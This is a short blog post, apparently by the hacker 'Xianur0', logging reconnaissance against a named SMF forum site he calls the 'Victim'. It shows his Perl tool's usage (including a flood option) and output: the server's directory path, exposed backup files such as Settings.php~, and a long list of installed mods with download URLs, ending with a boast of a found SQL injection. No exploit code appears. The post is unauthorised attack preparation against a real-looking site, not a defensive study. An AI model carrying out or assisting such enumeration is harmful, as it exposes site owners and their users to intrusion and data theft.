Preparing an attack at an SMF

Posted on 8:02 by Xianur0

Victim: http://www.tinyportalmedia.com
Method: Unsafe handling packages
Used Tool: Tool For SMF Testing By Xianur0

Xianur0 cys # perl smf.pl
Use: smf.pl [option] [Full URL]
Options:
-f Flood
-p Search Directory Setup
-l Installed Mods List
-b Find Temporary

Xianur0 cys # perl smf.pl -p http://www.tinyportalmedia.com/main/
Directory: /home/strzxpz/public_html/main/

Xianur0 cys # perl smf.pl -b http://www.tinyportalmedia.com/main/
Temporary File Found: http://www.tinyportalmedia.com/main//index.php~
Temporary File Found: http://www.tinyportalmedia.com/main//Settings.php~
Temporary File Found: http://www.tinyportalmedia.com/main//Settings_bak.php~

Settings.php~ and Settings_bak.php~ are few false positives, but index.php~ is correct :) ..

Xianur0 cys # perl smf.pl -l http://www.tinyportalmedia.com/main/
Description: TinyPortal
File: http://www.tinyportalmedia.com/main//Packages/TP_0971.zip
Name: bloc:tinyportal
Version: 1.052

Description: SMF Staff Page
File: http://www.tinyportalmedia.com/main//Packages/staff.zip
Name: vbgamer45:SMFStaff
Version: 1.5.1

Description: Avatar on Member List
File: http://www.tinyportalmedia.com/main//Packages/avmemlist.zip
Name: alm:avonmemberlist
Version: 1.0

Description: Country Flags
File: http://www.tinyportalmedia.com/main//Packages/CountryFlag_1-0-2.tar.gz
Name: jaybachatero:country_flags
Version: 1.0.1

Description: Global Announcements
File: http://www.tinyportalmedia.com/main//Packages/GlobalAnnouncements_1-0_Final.tar.gz
Name: jaybachatero:ga
Version: 1.0

Description: Googlebot & Spiders Mod
File: http://www.tinyportalmedia.com/main//Packages/Googlebot_v2_0_3_only_smf1.1.x.zip
Name: obazavil:googlebot
Version: 2.0.3

Description: K-Detection
File: http://www.tinyportalmedia.com/main//Packages/K_Detection_v2.2.zip
Name: Nikola:K-Detection
Version: 2.2

Description: Karma Blocks Package V.04
File: http://www.tinyportalmedia.com/main//Packages/Karma_Blocks_Package_v0.4.zip
Name: Max:Karmablocks
Version: 0.4

Description: Bear Tabs
File: http://www.tinyportalmedia.com/main//Packages/bear_tabs1.zip
Name: Akulion:BearTabsMod
Version: 1.0

Description: Admin Notepad
File: http://www.tinyportalmedia.com/main//Packages/notepad.zip
Name: vbgamer45:AdminNotepad
Version: 1.0

Description: Member Notepad
File: http://www.tinyportalmedia.com/main//Packages/PersonalPad.zip
Name: vbgamer45:MemberNotepad
Version: 1.0

Description: Profile Comments
File: http://www.tinyportalmedia.com/main//Packages/ProfileComments.zip
Name: vbgamer45:ProfileComments
Version: 1.2.1

Description: Topic Ratings
File: http://www.tinyportalmedia.com/main//Packages/ratings.tar.gz
Name: grudge:ratings
Version: 1.03

Description: Topic Solved
File: http://www.tinyportalmedia.com/main//Packages/tsolved_v1.22.tar.gz
Name: grudge:topic_solved
Version: 1.22

Description: VisualWarning
File: http://www.tinyportalmedia.com/main//Packages/visualwarning132.zip
Name: Grudge:VisualWarning
Version: 1.32

Description: Zodiac_13Moon
File: http://www.tinyportalmedia.com/main//Packages/zodiac_13moon.zip
Name: koji:Zodiac_13Moon
Version: 2.0

Description: Inline Attachments
File: http://www.tinyportalmedia.com/main//Packages/InlineAttachmentMod_FromDonationCoderDotCom.zip
Name: mouser_at_donationcoder.com:inlineattachments
Version: 1.0.4.2

Description: SMFShop
File: http://www.tinyportalmedia.com/main//Packages/SMFShop_3-0_Fresh_Install.zip
Name: daniel15:SMFShop
Version: 3.0

Description: Personal Message Auto Responder
File: http://www.tinyportalmedia.com/main//Packages/pmAutoRespond_V0-2.zip
Name: MikeMill:pmAutoResponder
Version: 0.2

Description: Location Mod - Additional Maps
File: http://www.tinyportalmedia.com/main//Packages/gobalopper.locationmod.additionalmaps.zip
Name: gobalopper:locationmod.additional_maps
Version: 1.2

Description: SMF Gallery Pro
File: http://www.tinyportalmedia.com/main//Packages/smf_gallery_pro.zip
Name: vbgamer45:smfgallerypro
Version: 1.2.2

Description: SMF Gallery Pro Profile Link
File: http://www.tinyportalmedia.com/main//Packages/profilelink.zip
Name: vbgamer45:proprofilelink
Version: 1.0

Description: Welcome Topic Mod
File: http://www.tinyportalmedia.com/main//Packages/93WelcomeTopic.zip
Name: vbgamer45:WelcomeTopic
Version: 1.0

Description: SMF Links
File: http://www.tinyportalmedia.com/main//Packages/26links.zip
Name: vbgamer45:SMFLinks
Version: 1.6.3

Description: SMF Gallery Pro Recent Profile Images
File: http://www.tinyportalmedia.com/main//Packages/profileimages.zip
Name:
Version: 1.0

Description: SMF Gallery Pro Recent Comments Board Index
File: http://www.tinyportalmedia.com/main//Packages/recentcomments.zip
Name: vbgamer45:recentcommentsboardindex
Version: 1.0

Description: SMF Gallery Pro SSI
File: http://www.tinyportalmedia.com/main//Packages/smfgalleryssi.zip
Name: vbgamer45:smfgalleryprossi
Version: 1.1

Description: Enhanced Calendar
File: http://www.tinyportalmedia.com/main//Packages/Calendar_1-1.zip
Name: daniel15:Calendar
Version: 1.1

Description: MySpace Field
File: http://www.tinyportalmedia.com/main//Packages/myspace.zip
Name: snork13:MySpace
Version: 2.4

Description: DeviantART Field
File: http://www.tinyportalmedia.com/main//Packages/deviantART.zip
Name: stormlrd:DeviantART
Version: 1.0

Description: Profile User Action
File: http://www.tinyportalmedia.com/main//Packages/ProfileUserAction_v1.1.zip
Name: Rudolf:profileuseraction
Version: 1.1

Description: Add Custom Modifications to Aero
File: http://www.tinyportalmedia.com/main//Packages/aero.zip
Name: stormlrd:addmodstothemes
Version: 1.0

Description: Signature Dropdown Choices
File: http://www.tinyportalmedia.com/main//Packages/SignatureDropDownsV10.zip
Name: Kays:SignatureDropDowns
Version: 1.0

Description: Merge Double Posts
File: http://www.tinyportalmedia.com/main//Packages/DoublePostMerge107.zip
Name: din1031:DoublePostMerge
Version: 1.0.7

Description: Related Topics
File: http://www.tinyportalmedia.com/main//Packages/related_topics_1.1.1.zip
Name: Niko:RelatedTopic
Version: 1.1.1

Description: SMF Sitemap
File: http://www.tinyportalmedia.com/main//Packages/smf_sitemap_1.1.3.zip
Name: airridetalk:smf_sitemap
Version: 1.1.3

Description: Sci-Fi Avatars
File: http://www.tinyportalmedia.com/main//Packages/SciFi.zip
Name: Brandon:SciFi
Version: 1.0

Description: Google Member Map
File: http://www.tinyportalmedia.com/main//Packages/GoogleMap.template.zip
Name: TLM:GoogleMapsMod
Version: 0.55

Description: SMF 1.0.11 / 1.1.3 Update
File: http://www.tinyportalmedia.com/main//Packages/smf_patch_1.1.3_1.0.11.tar.gz
Name: smf:smf-1.0.11-1.1.3
Version: 1.1

Description: SMF Gallery Pro Upgrade
File: http://www.tinyportalmedia.com/main//Packages/SMFGalleryUpgrade1.2.2.zip
Name: vbgamer45:smfgalleryproupgrade122
Version: 1.3.21

Description: FelBlog for SMF
File: http://www.tinyportalmedia.com/main//Packages/felblog_940_smf.zip
Name: feline:FelBlog_SMF
Version: 0.941

Description: SMF Trader System
File: http://www.tinyportalmedia.com/main//Packages/12Trader.zip
Name: vbgamer45:SMFTraderSystem
Version: 1.1

Description: SMF 1.0.12 / 1.1.4 / 2.0 b1.1 Update
File: http://www.tinyportalmedia.com/main//Packages/smf_patch_1.0.12_1.1.4_2.0.b1.1.tar.gz
Name: smf:smf-1.0.12-1.1.4-2.0.b1.1
Version: 1.0

Description: User Email System
File: http://www.tinyportalmedia.com/main//Packages/useremail.zip
Name: vbgamer45:UserEmailSystem
Version: 1.2

Description: Contact Page
File: http://www.tinyportalmedia.com/main//Packages/contact.zip
Name: vbgamer45:ContactPage
Version: 1.1

Description: Bookmarks
File: http://www.tinyportalmedia.com/main//Packages/bookmarks101.zip
Name: aaronvg:bookmarks
Version: 1.0.1

Description: SMF Classifieds Recent Classifieds Board Index
File: http://www.tinyportalmedia.com/main//Packages/classboardindex.zip
Name: vbgamer45:recentclassboardindex
Version: 1.0

Description: SMF Classifieds
File: http://www.tinyportalmedia.com/main//Packages/SMF_Classifieds_1.0.10.zip
Name: vbgamer45:smfclassifieds
Version: 1.0.10

Description: MessagePreviewOnHover
File: http://www.tinyportalmedia.com/main//Packages/MessagePreviewOnHover.zip
Name: snork13:MessagePreviewOnHover
Version: 1.5

Description: Gallery 2 Integration
File: http://www.tinyportalmedia.com/main//Packages/smf_g2-Beta3.1.tar.gz
Name: Oldiesmann:Gallery2
Version: 1.0beta3.1

Description: SMF Store
File: http://www.tinyportalmedia.com/main//Packages/SMFStore1.2beta.zip
Name: vbgamer45:smfstore
Version: 1.2beta

Description: Add Domaintools to TrackIP
File: http://www.tinyportalmedia.com/main//Packages/domaintools.zip
Name: Marook:TrackIP_Add_Domaintools
Version: 1.0

Description: SMF Gallery Pro Light Box Addon
File: http://www.tinyportalmedia.com/main//Packages/lightbox.zip
Name: vbgamer45:lightbox
Version: 1.1

Description: E-Arcade
File: http://www.tinyportalmedia.com/main//Packages/E-Arcade2.5.0.zip
Name: Eric:Arcade
Version: 2.5.0

Description: SMFChess
File: http://www.tinyportalmedia.com/main//Packages/SMFChess_1.0.zip
Name: Feeble:SMFChess
Version: 1.0

Description: Member Color Link
File: http://www.tinyportalmedia.com/main//Packages/MemberColorLink216.zip
Name: din1031:MemberColorLink
Version: 2.1.6

Description: MCLegendII.2
File: http://www.tinyportalmedia.com/main//Packages/MCLegendII.2.zip
Name: JB:MCLII
Version: 2.0

Description: SMF 1.0.13 / 1.1.5 / 2.0 b3.1 Update
File: http://www.tinyportalmedia.com/main//Packages/smf_patch_1.0.13_1.1.5_2.0-b3.1.tar.gz
Name: smf:smf-1.0.13-1.1.5-2.0.b3.1
Version: 1.0

Description: SMF Store Upgrade
File: http://www.tinyportalmedia.com/main//Packages/SMFStore1.2.1upgrade.zip
Name: vbgamer45:smfstoreupgrade
Version: 1.2.4

Description: SMF 1.0.14 / 1.1.6 Update
File: http://www.tinyportalmedia.com/main//Packages/smf_patch_1.0.14-1.1.6_1.zip
Name: smf:smf-1.0.14-1.1.6
Version: 1.0

Now is reviewing the package ... I see at least one with SQL Injection: P. ..

Saludos! :P...
Xianur0 Was Here xD...

0 comentarios: